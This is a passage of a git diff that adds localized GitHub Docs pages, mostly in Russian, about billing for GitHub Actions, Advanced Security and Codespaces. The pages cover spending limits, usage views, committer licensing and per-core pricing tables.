receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} + +## About spending limits + +{% data reusables.actions.actions-spending-limit-detailed %} + +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)." + +{% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-actions/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-actions/index.md new file mode 100644 index 000000000000..8070b4fc2abd --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-actions/index.md @@ -0,0 +1,21 @@ +--- +title: Управление выставлением счетов для GitHub Actions +shortTitle: GitHub Actions +intro: 'Можно просмотреть данные о потреблении и предельную сумму расходов для {% data variables.product.prodname_actions %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-for-github-actions + - /viewing-your-github-actions-usage + - /managing-your-spending-limit-for-github-actions +ms.openlocfilehash: 18e66a669a0ed0b6f1edb2c5d8956d462f8a819c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088101' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md b/translations/ru-RU/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md new file mode 100644 index 000000000000..f701772d0481 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md @@ -0,0 +1,62 @@ +--- +title: Управление предельной суммой расходов для GitHub Actions +intro: 'Можно настроить предельную сумму расходов для использования {% data variables.product.prodname_actions %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-actions + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise + - Organizations + - Spending limits + - User account +shortTitle: Spending limits for Actions +ms.openlocfilehash: c1bd595a866b9e48fa4e82ebe93718328514fad9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088095' +--- +## Сведения о предельных суммах расходов за {% data variables.product.prodname_actions %} + +{% data reusables.actions.actions-billing %} + +{% data reusables.actions.actions-spending-limit-brief %} + +{% data reusables.actions.actions-packages-set-spending-limit %} Дополнительную информацию о ценах на потребление {% data variables.product.prodname_actions %} см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). + +{% ifversion ghec %} Если вы приобрели {% data variables.product.prodname_enterprise %} в рамках Соглашения Enterprise Майкрософт, то вы можете подключить свой идентификатор подписки Azure к корпоративной учетной записи, чтобы включить и оплатить использование {% data variables.product.prodname_actions %} свыше объемов, включенных в вашу учетную запись. Дополнительные сведения см. в разделе [Подключение подписки Azure к организации](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise). +{% endif %} + +Как только вы задали предельную сумму расходов, отличную от 0 долл. США, вы будете оплачивать любые существующие превышения в текущем расчетном периоде. Например, если ваша организация использует {% data variables.product.prodname_team %}, не допускает избыточное использование и создает артефакты рабочего процесса, которые увеличивают объемы потребления хранилища в месяц с 1,9 до 2,1 ГБ, вы сможете использовать немного больше объема хранилища, чем 2 ГБ, включаемых в продукт. + +Так как вы не включили избытки, следующая попытка создания артефакта рабочего процесса завершится ошибкой. Вы не получите счет за превышение в размере 0,1 ГБ в этом месяце. Однако если включить избыток, первый счет будет включать 0,1 ГБ существующего превышения для текущего цикла выставления счетов, а также любое дополнительное избыточное использование. + +## Управление предельной суммой расходов за {% data variables.product.prodname_actions %} для личной учетной записи + +Любой пользователь может управлять предельной суммой расходов за {% data variables.product.prodname_actions %} для своей личной учетной записи. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %} + +## Управление предельной суммой расходов за {% data variables.product.prodname_actions %} для организации + +Владельцы организаций и менеджеры по выставлению счетов могут управлять предельной суммой расходов за {% data variables.product.prodname_actions %} для организации. + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %} {% data reusables.dotcom_billing.update-spending-limit %} + +{% ifversion ghec %} +## Управление предельной суммой расходов за {% data variables.product.prodname_actions %} для корпоративной учетной записи + +Владельцы предприятий и менеджеры по выставлению счетов могут управлять предельной суммой расходов за {% data variables.product.prodname_actions %} для корпоративной учетной записи. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. Над разделом "Ежемесячное использование {% data variables.product.prodname_actions %} и Packages" нажмите **Предельная сумма расходов**. + ![Вкладка "Предельная сумма расходов"](/assets/images/help/settings/spending-limit-tab-enterprise.png) {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %} {% endif %} + +## Управление уведомлениями по электронной почте об использовании и предельной сумме расходов +{% data reusables.billing.email-notifications %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md b/translations/ru-RU/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md new file mode 100644 index 000000000000..cf8ee0278f68 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md @@ -0,0 +1,51 @@ +--- +title: Просмотр сведений об использовании GitHub Actions +intro: 'Вы можете просмотреть сведения об использовании минут и хранилища для {% data variables.product.prodname_actions %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-actions-usage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/viewing-your-github-actions-usage +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise + - Organizations + - User account +shortTitle: View your Actions usage +ms.openlocfilehash: a41da21abe606b0de11bf7cf7e1b8be6f4e2edbe +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065173' +--- +Вы также можете просмотреть оплачиваемые минуты выполнения задания для отдельного экземпляра рабочего процесса. Дополнительные сведения см. в разделе "[Просмотр времени выполнения задания](/actions/managing-workflow-runs/viewing-job-execution-time)". + +## Просмотр сведений об использовании {% data variables.product.prodname_actions %} для личной учетной записи + +Любой человек может просматривать данные об использовании {% data variables.product.prodname_actions %} для своей личной учетной записи. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.actions-minutes %} {% data reusables.dotcom_billing.actions-packages-storage %} {% data reusables.dotcom_billing.actions-packages-report-download %} + +## Просмотр сведений об использовании {% data variables.product.prodname_actions %} для организации + +Ответственные по отделу и менеджеры по выставлению счетов могут просматривать сведения об использовании {% data variables.product.prodname_actions %} в организации. Если организация управляется корпоративной учетной записью, просматривать сведения об использовании {% data variables.product.prodname_actions %} на странице выставления счетов организации могут только ответственные по организации. + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.actions-minutes %} {% data reusables.dotcom_billing.actions-packages-storage %} {% data reusables.dotcom_billing.actions-packages-report-download-org-account %} + +{% ifversion ghec %} +## Просмотр сведений об использовании {% data variables.product.prodname_actions %} для корпоративной учетной записи + +Ответственные по предприятию и менеджеры по выставлению счетов могут просматривать сведения об использовании {% data variables.product.prodname_actions %} для корпоративной учетной записи. + +{% note %} + +**Примечание.** В сведениях о выставлении счетов для корпоративных учетных записей минуты использования для каждой операционной системы не суммируются. {% data reusables.actions.enterprise-billing-details %} + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. В разделе {% data variables.product.prodname_actions %} просмотрите сведения об использовании передачи данных каждой организацией в корпоративной учетной записи. + ![Сведения об использовании минут](/assets/images/help/billing/actions-minutes-enterprise.png) {% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %} {% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md new file mode 100644 index 000000000000..972856f9bb40 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md @@ -0,0 +1,90 @@ +--- +title: About billing for GitHub Advanced Security +intro: 'If you want to use {% data variables.product.prodname_GH_advanced_security %} features{% ifversion fpt or ghec %} in a private or internal repository{% endif %}, you need a license{% ifversion fpt %} for your enterprise{% endif %}.{% ifversion fpt or ghec %} These features are available free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}' +product: '{% data reusables.gated-features.ghas %}' +redirect_from: + - /admin/advanced-security/about-licensing-for-github-advanced-security + - /billing/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security + - /github/setting-up-and-managing-billing-and-payments-on-github/about-licensing-for-github-advanced-security + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security +versions: + fpt: '*' + ghes: '*' + ghec: '*' +type: overview +topics: + - Advanced Security + - Enterprise + - Licensing +shortTitle: Advanced Security billing +--- + +## About billing for {% data variables.product.prodname_GH_advanced_security %} + +{% ifversion fpt %} + +If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. + +For information about billing for {% data variables.product.prodname_GH_advanced_security %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). + +{% elsif ghec %} + +If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)." + +{% elsif ghes %} + +You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)." + +{% endif %} + +{% ifversion ghes or ghec %} + +{% data reusables.advanced-security.license-overview %} + +{% ifversion ghes %} +You can determine how many licenses you'll need for {% data variables.product.prodname_GH_advanced_security %} by generating a count of your instance's active committers in the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." +{% endif %} + +To discuss licensing {% data variables.product.prodname_GH_advanced_security %} for your enterprise, contact {% data variables.contact.contact_enterprise_sales %}. + +## About committer numbers for {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.about-committer-numbers-ghec-ghes %} + +{% ifversion fpt or ghes or ghec %} + +{% data reusables.advanced-security.managing-license-usage-ghec-ghes %} + +{% endif %} + +You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +{% ifversion fpt or ghes or ghec %} + +For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." + +{% endif %} + +## Understanding active committer usage + +The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count. + +| Date | Events during the month | Total committers | +| :- | :- | -: | +| April 15 | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | +| May 1 | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** | +| August 1 | Developer **A**'s contributions no longer count towards the licences required, because 90 days have passed. | _50 - 1_
**49** | +| August 15 | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | _49 + 10_
**59** | +| August 16 | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | _49 - 29_
**20** | + +{% note %} + +**Note:** A user will be flagged as active when their commits are pushed to any branch of a repository, even if the commits were authored more than 90 days ago. + +{% endnote %} + +## Getting the most out of {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.getting-the-most-from-your-license %} + +{% endif %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/index.md new file mode 100644 index 000000000000..6e0c3ac2a1d7 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/index.md @@ -0,0 +1,23 @@ +--- +title: Управление выставлением счетов для GitHub Advanced Security +shortTitle: GitHub Advanced Security +intro: 'Вы можете просматривать и управлять использованием рабочих мест в рамках лицензии для {% data variables.product.prodname_advanced_security %}.' +product: '{% data reusables.gated-features.ghas %}' +redirect_from: + - /billing/managing-licensing-for-github-advanced-security + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security +versions: + fpt: '*' + ghes: '*' + ghec: '*' +children: + - /about-billing-for-github-advanced-security + - /viewing-your-github-advanced-security-usage +ms.openlocfilehash: 4907fa9b0fa59ac8407547541cdc6bb1d22c3d95 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088088' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md b/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md new file mode 100644 index 000000000000..d2ad2bdba269 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md @@ -0,0 +1,114 @@ +--- +title: Viewing your GitHub Advanced Security usage +intro: 'You can view usage of {% data variables.product.prodname_GH_advanced_security %} for your enterprise.' +permissions: 'Enterprise owners can view usage for {% data variables.product.prodname_GH_advanced_security %}.' +product: '{% data reusables.gated-features.ghas %}' +redirect_from: + - /billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage + - /admin/advanced-security/viewing-your-github-advanced-security-usage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage + - /github/setting-up-and-managing-your-enterprise/managing-use-of-advanced-security-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-advanced-security-usage +versions: + ghes: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +type: how_to +topics: + - Advanced Security + - Enterprise +shortTitle: View Advanced Security usage +--- + +## About licenses for {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.about-ghas-license-seats %} For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)." + +{% ifversion ghas-committers-calculator %} +You can calculate how many additional seats will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories with the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-active-committers)." +{% endif %} + +## Viewing {% data variables.product.prodname_GH_advanced_security %} license usage for your enterprise account + +You can check how many seats your license includes and how many of them are currently used. + +{% ifversion fpt or ghec %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} + The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. + ![{% data variables.product.prodname_GH_advanced_security %} in enterprise licensing settings](/assets/images/help/enterprises/enterprise-licensing-tab-ghas.png) + If you run out of seats, the section will be red and show "Limit exceeded." You should either reduce your use of {% data variables.product.prodname_GH_advanced_security %} or purchase more seats. For more information, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#getting-the-most-out-of-github-advanced-security)." + ![{% data variables.product.prodname_GH_advanced_security %} in enterprise licensing settings showing "Limit exceeded"](/assets/images/help/enterprises/enterprise-licensing-tab-ghas-no-seats.png) +4. Optionally, to see a detailed breakdown of usage per organization, in the left sidebar, click **Billing**. + ![Billing tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/settings-billing-tab.png) + In the "{% data variables.product.prodname_GH_advanced_security %}" section you can see the number of committers and unique committers for each organization. + ![{% data variables.product.prodname_GH_advanced_security %} in enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-dotcom.png) +5. Optionally, click the name of an organization where you are an owner to display the security and analysis settings for the organization. + ![Owned organization in {% data variables.product.prodname_GH_advanced_security %} section of enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png) +6. On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization. + ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png) + For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +{% elsif ghes %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} + The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. You can see the total number of seats used, as well as a table with the number of committers and unique committers for each organization. + ![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) +5. Optionally, click the name of an organization where you are an owner to display the security and analysis settings for the organization. + ![Owned organization in {% data variables.product.prodname_GH_advanced_security %} section of enterprise billing settings](/assets/images/help/billing/ghas-orgs-list-enterprise-click-org.png) +6. On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization. + ![{% data variables.product.prodname_GH_advanced_security %} repositories section](/assets/images/help/enterprises/settings-security-analysis-ghas-repos-list.png) + For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +{% endif %} + +{% ifversion ghec or ghes > 3.3 %} + +## Downloading {% data variables.product.prodname_GH_advanced_security %} license usage information + +You can download a CSV file with {% data variables.product.prodname_GH_advanced_security %} license usage information at both the enterprise and organization levels. The CSV file contains information about each {% data variables.product.prodname_advanced_security %} seat that is in use, including: + +- The username of the person using the seat +- The {% data variables.product.prodname_advanced_security %}-enabled repositories where commits were made +- The organizations that people using seats belong to +- The most recent commit dates + +You can use this information for insights into how your {% data variables.product.prodname_advanced_security %} licenses are being used, such as which members of your enterprise are using an {% data variables.product.prodname_advanced_security %} seat or how {% data variables.product.prodname_advanced_security %} licenses are being consumed across your organizations. + +You can download the {% data variables.product.prodname_advanced_security %} license usage CSV through the {% data variables.product.product_name %} user interface or the REST API. + +### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the UI + +#### At the organization-level + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +1. Underneath "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-label="The download icon" %} CSV report** next to "Committers." + ![Download button for organization-level data](/assets/images/help/billing/download-organization-GHAS-usage-data.png) + +#### At the enterprise-level + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.license-tab %} +1. Under "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-label="The download icon" %} CSV report** next to "Committers." + ![Download button for enterprise-level data](/assets/images/help/billing/download-enterprise-GHAS-usage-data.png) + +### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the REST API + +You can retrieve {% data variables.product.prodname_advanced_security %} usage information via the billing API. + +{% ifversion ghec %} + +For organization-level data, use the `/orgs/{org}/settings/billing/advanced-security` endpoint. For more information, see "[Billing](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization)" in the {% data variables.product.prodname_dotcom %} REST API documentation. + +{% endif %} + +For enterprise-level data, use the `/enterprises/{enterprise}/settings/billing/advanced-security` endpoint. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-github-advanced-security-active-committers-for-an-enterprise)" in the {% data variables.product.prodname_dotcom %} REST API documentation. + +{% endif %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md new file mode 100644 index 000000000000..449a168efd9d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md @@ -0,0 +1,201 @@ +--- +title: Сведения о выставлении счетов для GitHub Codespaces +shortTitle: About billing +intro: 'Узнайте о затратах на использование {% data variables.product.prodname_github_codespaces %} и ежемесячных квотах использования, включенных в личные учетные записи {% data variables.product.prodname_dotcom %}.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Codespaces + - Billing +redirect_from: + - /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces + - /github/developing-online-with-codespaces/about-billing-for-codespaces + - /codespaces/getting-started-with-codespaces/about-billing-for-codespaces + - /codespaces/codespaces-reference/about-billing-for-codespaces + - /codespaces/codespaces-reference/understanding-billing-for-codespaces + - /codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md +ms.openlocfilehash: 2de93801a9ee3aef0ed54a5b3f9328b58ccfddff +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159280' +--- +## Цены на {% data variables.product.prodname_github_codespaces %} + +{% data reusables.codespaces.codespaces-free-for-personal-intro %} + +Счета выставляются организации или предприятию, если выполняются все перечисленные ниже условия. + +- Репозиторий, из которого запускается codespace (или родительский репозиторий, в случае вилки репозитория), принадлежит организации. +- Организация настроена для выставления счетов за codespace, созданные из репозитория или вилки репозитория. +- Пользователь, создающий codespace, принадлежит организации или является сторонним сотрудником, связанным с организацией, и организация решила платить за использование этим пользователем принадлежащих организации codespace. + +В противном случае использование {% data variables.product.prodname_github_codespaces %} применяется к личной учетной записи пользователя, создавшего codespace, и либо использует часть ежемесячно включенного использования для своей личной учетной записи, либо счета выставляются в соответствии с их использованием сверх включенных квот. + +Сведения о настройке организации для выставления счетов за использование codespace см. в разделе [Включение {% data variables.product.prodname_github_codespaces %} для вашей организации](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization). Планы "Бесплатный", "Командный" и "Корпоративный" для учетных записей организации и предприятий не включают бесплатное использование {% data variables.product.prodname_github_codespaces %}. + +### Ежемесячное хранение и основные часы для личных учетных записей + +Следующие часы хранения и основные часы использования включаются бесплатно для личных учетных записей: + +| Стратегический план | Хранилище в месяц | Количество основных часов в месяц | +| ------------ | ----------------- | -------------------- | +| {% data variables.product.prodname_dotcom %} Бесплатно для личных учетных записей | 15 ГБ | 120 | +| {% data variables.product.prodname_dotcom %} Pro | 20 ГБ | 180 | + +{% note %} + +**Примечание**. "Основной час" — это мера, используемая для включенного использования вычислительных ресурсов. Чтобы вычислить основные часы, умножьте количество часов, в течение которых было активно codespace, на множитель в приведенной ниже таблице цен. Для базовых типов компьютеров множитель — это количество ядер процессора на компьютере, на котором размещается codespace. Например, если вы используете 2-ядерный компьютер для codespace и он активен в течение часа, вы использовали 2 часа ядра. Если вы используете 8-ядерный компьютер в течение часа, вы использовали 8 ядер. Если вы используете 8-ядерный компьютер в течение двух часов, вы использовали 16 ядер. + +{% endnote %} + +При использовании 75%, 90 % и 100 % включенных квот вы получите уведомление по электронной почте. Уведомления также отображаются во всплывающем сообщении в {% data variables.product.prodname_vscode_shortname %} и веб-клиенте {% data variables.product.prodname_vscode_shortname %}. При необходимости можно отключить уведомления по электронной почте. Дополнительные сведения см. в разделе [Управление предельной суммой расходов для GitHub Codespaces](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-usage-and-spending-limit-email-notifications). + +Если личная учетная запись использовала все включенные ресурсы хранилища или вычислительные ресурсы (в зависимости от того, какое из них достигается первым) и не имеет настроенной предельной суммы расходов, использование {% data variables.product.prodname_github_codespaces %} будет заблокировано. Чтобы продолжить использование {% data variables.product.prodname_github_codespaces %} в течение текущего месяца выставления счетов, необходимо настроить метод оплаты и предельную сумму расходов. В начале следующего ежемесячного цикла выставления счетов включенного использования сбрасывается. Плата за хранилище не взимается, если использование {% data variables.product.prodname_github_codespaces %} заблокировано. + +Сведения об использовании за текущий месяц можно просмотреть в любое время. Дополнительные сведения см. в разделе [Просмотр данных об использовании {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). + +Если вы не можете возобновить codespace и хотите продолжить работу с изменениями, внесенными в codespace, можно выполнить любое из следующих действий: + +- Добавьте метод оплаты и предельную сумму расходов, превышающую 0 долл. США. +- Экспорт изменений из codespace в ветвь. Дополнительные сведения см. в разделе [Экспорт изменений в ветвь](/codespaces/troubleshooting/exporting-changes-to-a-branch). +- Дождитесь сброса ежемесячного включенного использования в начале следующего ежемесячного цикла выставления счетов. + +Если вы использовали все включенные ресурсы хранилища или вычислительные ресурсы, а также настроили метод оплаты и предельную сумму расходов, при дальнейшем использовании codespace, принадлежащих вашей личной учетной записи, будет взиматься плата за любой тип использования, который не имеет оставшейся квоты. Плата за использование другого типа не будет взиматься до тех пор, пока вы не будете использовать всю включенную квоту. + +### Цены для платного использования + +За экземпляр {% data variables.product.prodname_github_codespaces %} ("codespace") взимается плата за время вычислений, пока он активен, а также за объем дискового пространства, занимаемого codespace, пока оно существует. Стоимость вычислений пропорциональна количеству ядер процессора в типе компьютера, выбранном для codespace, как показано в таблице ниже. Например, затраты на вычислительные ресурсы при использовании codespace в течение часа на компьютере с 16 ядрами в восемь раз превышают затраты на 2-ядерный компьютер. + +| Компонент | Тип компьютера | Единица измерения | Множитель включенного использования | Цена | +| ------------------- | ------------ | --------------- | ------------------------- | ----- | +| Вычисление Codespaces | 2 ядра | 1 час | 2 | 0,18 долл. США | +| | 4 ядра | 1 час | 4 | 0,36 долл. США | +| | 8 ядер | 1 час | 8 | 0,72 долл. США | +| | 16 ядер | 1 час | 16 | 1,44 долл. США | +| | 32 ядра | 1 час | 32 | 2,88 долл. США | +| Хранилище Codespaces | Память | 1 ГБ в месяц* | Недоступно | 0,07 долл. США | + +* Дополнительные сведения о единице измерения в гб месяцев см. в разделе [Выставление счетов за использование хранилища](#billing-for-storage-usage) ниже. + +Если включена предварительная сборка пространств кода, это приведет к дополнительным расходам. Дополнительные сведения см. в разделе [Выставление счетов за предварительные сборки {% data variables.product.prodname_codespaces %}](#billing-for-codespaces-prebuilds). + +## Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %} + +Плата за {% data variables.product.prodname_github_codespaces %} взимается в долларах США (USD) в соответствии с объемом времени вычислений и дискового пространства, используемого codespace. {% data reusables.codespaces.codespaces-monthly-billing %} + +Выставление счетов за {% data variables.product.prodname_github_codespaces %} использует существующий метод оплаты и квитанцию вашей учетной записи. Дополнительные сведения см. в разделе [Просмотр подписок и даты выставления счетов](/articles/viewing-your-subscriptions-and-billing-date). + +{% ifversion ghec %} Если вы приобрели {% data variables.product.prodname_enterprise %} через Соглашение Enterprise Майкрософт, вы можете подключить идентификатор подписки Azure к корпоративной учетной записи, чтобы включить и оплатить использование {% data variables.product.prodname_github_codespaces %}. Дополнительные сведения см. в разделе [Подключение подписки Azure к организации](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise). +{% endif %} + +### Выставление счетов за использование вычислительных ресурсов +Использование вычислительных ресурсов codespace — это период времени, в течение которого это пространство кода активно умножается на множитель в таблице цен для типа компьютера codespace. Общий объем вычислительных ресурсов вычисляется путем суммирования времени, используемого 